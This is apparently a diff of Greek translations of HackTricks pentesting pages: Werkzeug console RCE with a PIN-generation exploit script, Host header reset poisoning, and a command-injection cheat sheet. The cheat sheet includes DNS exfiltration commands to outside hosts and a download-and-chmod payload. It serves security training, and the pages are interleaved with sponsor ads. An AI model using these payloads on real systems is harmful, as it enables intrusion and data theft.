**Άμεση διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Console RCE ## Console RCE
Εάν είναι ενεργοποιημένη η αποσφαλμάτωση, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο `/console` και να αποκτήσετε RCE. Εάν είναι ενεργοποιημένο το debug, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο `/console` και να αποκτήσετε RCE.
```python ```python
__import__('os').popen('whoami').read(); __import__('os').popen('whoami').read();
``` ```
@ -33,11 +35,11 @@ __import__('os').popen('whoami').read();
## Pin Protected - Path Traversal ## Pin Protected - Path Traversal
Σε ορισμένες περιπτώσεις, το **`/console`** endpoint θα είναι προστατευμένο με ένα pin. Αν έχετε μια **ευπάθεια διαδρομής αρχείου**, μπορείτε να διαρρεύσετε όλες τις απαραίτητες πληροφορίες για να δημιουργήσετε αυτό το pin. Σε ορισμένες περιπτώσεις, το **`/console`** endpoint θα είναι προστατευμένο με ένα pin. Εάν έχετε μια **ευπάθεια διαδρομής αρχείου**, μπορείτε να διαρρεύσετε όλες τις απαραίτητες πληροφορίες για να δημιουργήσετε αυτό το pin.
### Werkzeug Console PIN Exploit ### Werkzeug Console PIN Exploit
Επιβάλετε μια σελίδα σφάλματος debug στην εφαρμογή για να δείτε αυτό: Αναγκάστε μια σελίδα σφάλματος αποσφαλμάτωσης στην εφαρμογή για να δείτε αυτό:
``` ```
The console is locked and needs to be unlocked by entering the PIN. The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your You can find the PIN printed out on the standard output of your
@ -57,7 +59,7 @@ shell that runs the server
#### **`private_bits`** #### **`private_bits`**
* **`uuid.getnode()`**: Ανακτά τη διεύθυνση MAC της τρέχουσας μηχανής, με το `str(uuid.getnode())` να την μετατρέπει σε δεκαδική μορφή. * **`uuid.getnode()`**: Ανακτά τη διεύθυνση MAC της τρέχουσας μηχανής, με το `str(uuid.getnode())` να την μετατρέπει σε δεκαδική μορφή.
* Για **να προσδιορίσετε τη διεύθυνση MAC του διακομιστή**, πρέπει να εντοπίσετε τη δραστήρια δικτυακή διεπαφή που χρησιμοποιείται από την εφαρμογή (π.χ., `ens3`). Σε περιπτώσεις αβεβαιότητας, **διαρρεύστε το `/proc/net/arp`** για να βρείτε το ID της συσκευής, στη συνέχεια **εξάγετε τη διεύθυνση MAC** από **`/sys/class/net/<device id>/address`**. * Για να **καθορίσετε τη διεύθυνση MAC του διακομιστή**, πρέπει να προσδιορίσετε τη δραστήρια δικτυακή διεπαφή που χρησιμοποιείται από την εφαρμογή (π.χ., `ens3`). Σε περιπτώσεις αβεβαιότητας, **διαρρεύστε το `/proc/net/arp`** για να βρείτε το ID της συσκευής, στη συνέχεια **εξάγετε τη διεύθυνση MAC** από **`/sys/class/net/<device id>/address`**.
* Η μετατροπή μιας δεκαεξαδικής διεύθυνσης MAC σε δεκαδική μπορεί να πραγματοποιηθεί όπως φαίνεται παρακάτω: * Η μετατροπή μιας δεκαεξαδικής διεύθυνσης MAC σε δεκαδική μπορεί να πραγματοποιηθεί όπως φαίνεται παρακάτω:
```python ```python
@ -65,7 +67,7 @@ shell that runs the server
>>> print(0x5600027a23ac) >>> print(0x5600027a23ac)
94558041547692 94558041547692
``` ```
* **`get_machine_id()`**: Συνδυάζει δεδομένα από το `/etc/machine-id` ή το `/proc/sys/kernel/random/boot_id` με την πρώτη γραμμή του `/proc/self/cgroup` μετά την τελευταία κάθετο (`/`). * **`get_machine_id()`**: Συνενώνει δεδομένα από το `/etc/machine-id` ή το `/proc/sys/kernel/random/boot_id` με την πρώτη γραμμή του `/proc/self/cgroup` μετά την τελευταία κάθετο (`/`).
<details> <details>
@ -157,17 +159,17 @@ rv = num
print(rv) print(rv)
``` ```
Αυτό το σενάριο παράγει το PIN με το να έχει το hash των συνδυασμένων bits, προσθέτοντας συγκεκριμένα salts (`cookiesalt` και `pinsalt`), και μορφοποιώντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για `probably_public_bits` και `private_bits` πρέπει να αποκτηθούν με ακρίβεια από το σύστημα στόχο για να διασφαλιστεί ότι το παραγόμενο PIN ταιριάζει με αυτό που αναμένεται από την κονσόλα Werkzeug. Αυτό το σενάριο παράγει το PIN με την κατακερματισμένη σύνθεση των bits, προσθέτοντας συγκεκριμένα αλάτια (`cookiesalt` και `pinsalt`), και μορφοποιώντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για `probably_public_bits` και `private_bits` πρέπει να αποκτηθούν με ακρίβεια από το στοχοθετημένο σύστημα για να διασφαλιστεί ότι το παραγόμενο PIN ταιριάζει με αυτό που αναμένεται από την κονσόλα Werkzeug.
{% hint style="success" %} {% hint style="success" %}
Αν είστε σε μια **παλιά έκδοση** του Werkzeug, δοκιμάστε να αλλάξετε τον **αλγόριθμο hashing σε md5** αντί για sha1. Αν είστε σε μια **παλιά έκδοση** του Werkzeug, δοκιμάστε να αλλάξετε τον **αλγόριθμο κατακερματισμού σε md5** αντί για sha1.
{% endhint %} {% endhint %}
## Werkzeug Unicode χαρακτήρες ## Werkzeug Unicode χαρακτήρες
Όπως παρατηρήθηκε σε [**αυτό το ζήτημα**](https://github.com/pallets/werkzeug/issues/2833), το Werkzeug δεν κλείνει ένα αίτημα με Unicode χαρακτήρες στις κεφαλίδες. Και όπως εξηγήθηκε σε [**αυτή τη γραφή**](https://mizu.re/post/twisty-python), αυτό μπορεί να προκαλέσει μια ευπάθεια CL.0 Request Smuggling. Όπως παρατηρήθηκε σε [**αυτό το ζήτημα**](https://github.com/pallets/werkzeug/issues/2833), το Werkzeug δεν κλείνει ένα αίτημα με χαρακτήρες Unicode στις κεφαλίδες. Και όπως εξηγήθηκε σε [**αυτή τη γραφή**](https://mizu.re/post/twisty-python), αυτό μπορεί να προκαλέσει μια ευπάθεια CL.0 Request Smuggling.
Αυτό συμβαίνει επειδή, στο Werkzeug είναι δυνατό να σταλούν μερικοί **Unicode** χαρακτήρες και αυτό θα προκαλέσει **σπάσιμο** του διακομιστή. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα θεωρηθεί ως το **επόμενο HTTP αίτημα**. Αυτό συμβαίνει επειδή, στο Werkzeug είναι δυνατό να σταλούν ορισμένοι **Unicode** χαρακτήρες και αυτό θα προκαλέσει **σπάσιμο** του διακομιστή. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα θεωρηθεί ως το **επόμενο HTTP αίτημα**.
## Αυτοματοποιημένη Εκμετάλλευση ## Αυτοματοποιημένη Εκμετάλλευση
@ -182,7 +184,9 @@ print(rv)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,8 +1,8 @@
# Άλλες Τεχνικές Ιστού # Άλλες Τεχνικές Ιστού
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε και εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε και εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -17,13 +17,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud σας
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### Header Host ### Header Host
Πολλές φορές το back-end εμπιστεύεται το **Host header** για να εκτελέσει ορισμένες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή του ως το **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στο Host header. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). Πολλές φορές το back-end εμπιστεύεται το **Host header** για να εκτελέσει ορισμένες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή του ως **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στο Host header. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
{% hint style="warning" %} {% hint style="warning" %}
Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού πρόσβασης για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots θα κάνουν κλικ σε αυτό για να το αναλύσουν**. Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού πρόσβασης για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots θα κάνουν κλικ σε αυτό για να το αναλύσουν**.
@ -31,18 +33,18 @@
### Boolean συνεδρίας ### Boolean συνεδρίας
Ορισμένες φορές όταν ολοκληρώνετε σωστά κάποια επαλήθευση, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφαλείας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς αυτή την επαλήθευση.\ Ορισμένες φορές όταν ολοκληρώνετε σωστά κάποια επαλήθευση, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφαλείας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς αυτή την έλεγχο.\
Ωστόσο, αν **περάσετε την επαλήθευση** και η συνεδρία σας αποκτήσει αυτή την τιμή "True" στο χαρακτηριστικό ασφαλείας, μπορείτε να προσπαθήσετε να **πρόσβαση σε άλλους πόρους** που **εξαρτώνται από το ίδιο χαρακτηριστικό** αλλά που **δεν θα έπρεπε να έχετε άδειες** για πρόσβαση. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). Ωστόσο, αν **περάσετε την έλεγχο** και η συνεδρία σας αποκτήσει αυτή την τιμή "True" στο χαρακτηριστικό ασφαλείας, μπορείτε να προσπαθήσετε να **πρόσβαση σε άλλους πόρους** που **εξαρτώνται από το ίδιο χαρακτηριστικό** αλλά που **δεν θα έπρεπε να έχετε δικαιώματα** για πρόσβαση. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Λειτουργία εγγραφής ### Λειτουργία εγγραφής
Δοκιμάστε να εγγραφείτε ως ήδη υπάρχων χρήστης. Δοκιμάστε επίσης να χρησιμοποιήσετε ισοδύναμους χαρακτήρες (τελείες, πολλές κενές θέσεις και Unicode). Δοκιμάστε να εγγραφείτε ως ήδη υπάρχων χρήστης. Δοκιμάστε επίσης να χρησιμοποιήσετε ισοδύναμους χαρακτήρες (τελείες, πολλές κενές θέσεις και Unicode).
### Κατάληψη emails ### Κατάληψη email
Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό. Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό.
### Πρόσβαση στο Εσωτερικό servicedesk εταιρειών που χρησιμοποιούν atlassian ### Πρόσβαση στο εσωτερικό servicedesk εταιρειών που χρησιμοποιούν atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
@ -55,13 +57,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud σας
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε και εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε και εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -15,22 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ #### Get a hacker's perspective on your web apps, network, and cloud
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
## Τι είναι η εκτέλεση εντολών; {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Μια **εκτέλεση εντολών** επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών επιτρέπει συνήθως στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο πάνω στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα. ## What is command Injection?
### Πλαίσιο Μια **εκτέλεση εντολών** επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών επιτρέπει συνήθως στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
Ανάλογα με **το πού εισάγεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το πλαίσιο που έχει παρατεθεί** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές. ### Context
## Εκτέλεση/Εκτέλεση Εντολών Ανάλογα με **το πού εισάγεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το παρατιθέμενο πλαίσιο** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
## Command Injection/Execution
```bash ```bash
#Both Unix and Windows supported #Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -51,7 +52,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
``` ```
### **Περιορισμοί** Bypasses ### **Περιορισμοί** Bypasses
If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:** Αν προσπαθείτε να εκτελέσετε **τυχαίες εντολές μέσα σε μια μηχανή linux** θα σας ενδιαφέρει να διαβάσετε για αυτά τα **Bypasses:**
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} {% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/) [bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
@ -65,7 +66,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### Parameters ### Parameters
Ακολουθούν οι 25 κορυφαίοι παράμετροι που θα μπορούσαν να είναι ευάλωτοι σε επιθέσεις κώδικα και παρόμοιες ευπάθειες RCE (από [link](https://twitter.com/trbughunters/status/1283133356922884096)): Ακολουθούν οι 25 κορυφαίοι παράμετροι που θα μπορούσαν να είναι ευάλωτοι σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
``` ```
?cmd={payload} ?cmd={payload}
?exec={payload} ?exec={payload}
@ -119,12 +120,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
Online εργαλεία για να ελέγξετε την εξαγωγή δεδομένων βάσει DNS: Online tools to check for DNS based data exfiltration:
* dnsbin.zhack.ca * dnsbin.zhack.ca
* pingb.in * pingb.in
### Παράκαμψη φίλτρων ### Filtering bypass
#### Windows #### Windows
``` ```
@ -161,10 +162,10 @@ powershell C:**2\n??e*d.*? # notepad
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
\ #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) για να δημιουργήσετε εύκολα και **να αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,18 +1,26 @@
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
